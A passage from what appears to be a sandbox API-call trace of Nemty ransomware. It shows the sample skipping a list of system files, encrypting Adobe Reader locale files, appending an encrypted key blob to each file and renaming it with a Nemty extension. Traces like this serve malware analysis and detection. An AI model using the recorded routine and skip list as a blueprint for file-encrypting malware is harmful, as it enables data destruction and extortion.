(lpString1="Search.JPN", lpString2="ntldr") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="MSDOS.SYS") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="IO.SYS") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="boot.ini") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="boot.ini") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="ntuser.dat") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="desktop.ini") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="CONFIG.SYS") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="RECYCLER") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="bootmgr") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="programdata") returned 1 [0179.186] lstrcmpiW (lpString1="Search.JPN", lpString2="appdata") returned 1 [0179.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.186] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0179.186] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.JPN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.JPN", lpUsedDefaultChar=0x0) returned 10 [0179.186] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0179.187] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.187] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0179.187] Sleep (dwMilliseconds=0x5) [0179.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e749750, dwHighDateTime=0x1d561e8)) [0179.195] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e749750, dwHighDateTime=0x1d561e8)) [0179.195] GetLastError () returned 0x0 [0179.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.195] GetLastError () returned 0x0 [0179.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.195] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.195] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.195] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0179.195] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="CTgfcainCanxUuKPSEUK28xUaTTOOcIkA1vQY0D/J+4T8dtrFA4bUC+oUrUUvBMd\r\nuQrVnRJR7ys3kS7oArB0tN2srCBHldXTeDmzghjxoxKTeVh7G0o9cRSXZLTQ/Cim\r\nVZ+vlwPynPfLzecOv7Lri3l7UZa4qQ0AAGKpA50CmvTLpXHhzQ1aKh5uyOCQjn5A\r\n/Raaqo2TqsH0shyjgT35DH79ErBZPD4hs8X1lsddhxdP26+dM73AKADtVlg2W2Re\r\n1EwgAIqecOVLiTEvWRk77M8Gp0mXsPL21x6IquFuD7nqqgzhmoQUw57FDdAvyocC\r\nDDytU3wf5EbzXA7TriYoWQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.195] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.195] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.196] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.196] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Search.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\search.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.196] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17408) returned 1 [0179.196] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4400) returned 0x6352c48 [0179.196] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.196] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4400, lpOverlapped=0x0) returned 1 [0179.198] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.198] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4400, lpOverlapped=0x0) returned 1 [0179.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.199] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4400 [0179.199] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.199] CloseHandle (hObject=0x2e8) returned 1 [0179.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.199] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.199] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Search.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\search.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Search.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\search.jpn._nemty_kgobjgd_")) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.200] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.200] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.JPN", cAlternateFileName="")) returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2=".") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="..") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="...") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="windows") returned -1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="$RECYCLE.BIN") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="rsa") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="NTDETECT.COM") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="ntldr") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="MSDOS.SYS") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="IO.SYS") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="boot.ini") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="boot.ini") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="ntuser.dat") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="desktop.ini") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="CONFIG.SYS") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="RECYCLER") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="BOOTSECT.BAK") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="bootmgr") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="programdata") returned 1 [0179.200] lstrcmpiW (lpString1="SendMail.JPN", lpString2="appdata") returned 1 [0179.200] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.JPN", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.JPN", lpUsedDefaultChar=0x0) returned 12 [0179.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.201] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.201] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.201] Sleep (dwMilliseconds=0x5) [0179.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e76f8b0, dwHighDateTime=0x1d561e8)) [0179.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e76f8b0, dwHighDateTime=0x1d561e8)) [0179.211] GetLastError () returned 0x0 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.211] GetLastError () returned 0x0 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.211] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.211] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.211] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.211] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="VCAlIjPLyxsHbVQlKLMhLpStnutKoznOUFJKBDK2lbrQRdoSiYU1xlyz4eiY5n0Q\r\nW0nfLYcSzQl1w3aYXWHJa2ifn1T28P7MPZiujTsqt9TdBexk8zBgjzZNjOVGvmIw\r\nScbxeIO8ghtgs8eDJYVDT8EL5pCVwSuJCmEuzhMm8kFSL93XHzlMpoQpWG5NhKSJ\r\n8un0o3KOH9IlK1GYuGqCQmCnmya1mPFWc1E9xBYYC803jX2b0FjpKOCEamhnU0eH\r\nlBll3eV3s5mCPcjuY2mgIt0gCurg2g/CidktkzsOEB5nfSLtd4+Kn4itOMBrtBqp\r\nYIEsSAqNbiufHWZC8snYsQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.212] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.212] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0179.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0179.212] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.212] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0179.221] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.221] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0179.221] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.221] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0179.221] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.221] CloseHandle (hObject=0x2e8) returned 1 [0179.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.222] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.222] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\SendMail.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\sendmail.jpn._nemty_kgobjgd_")) returned 1 [0179.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.223] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, 